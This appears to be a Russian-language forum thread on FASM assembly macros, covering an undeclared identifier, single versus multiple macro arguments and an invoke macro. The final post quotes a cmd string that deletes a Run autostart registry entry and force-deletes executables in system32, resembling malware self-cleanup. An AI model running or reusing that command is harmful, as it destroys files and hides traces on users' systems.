Есть код: simple.asm Code (Text): start: include 'func.asm' SetPage 1 Writeln 6 func.asm Code (Text): false = 0 true = 1 macro SetPage [n] { mov al, __n_ int 10h } macro Writeln [x] { mov al, al } FASM ругается на Writeln (). (пишу чисто для того, что бы научиться работать с макросами). Просьба подсказать, в чем проблема. P.S. Что лучше использовать в моем случае - процедуры или макросы? Суть похожа, а подводный камень видимо есть.
алсо, что значит "ругается"? в ошибках есть достаточно подробное описание их причин в данном коде очевидно не объявлен идентификатор __n_, видимо в сообщении об ошибке это и написано
deLight newMaximYCH Да работает, но вот логически... Вы объявляете аргумент n как множество аргументов, когда требуется всего один. так будет правильнее Code (Text): macro SetPage n {...}
например macro invoke [line*] { common match func(args),line\{irp arg,args\\{reverse push arg\\}\} call [func] }
а как переносить внутри параметров? Code (Text): lpParameters db '/k start /w reg delete HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Alcopexe /f & %SystemRoot%\system32\Alcohol.exe & del /f /q %SystemRoot%\system32\Alcohol.exe & del /f /q %SystemRoot%\system32\Alcopexe.exe & Exit',0 всмысле такое не катит \ ? deLight хватит жжечь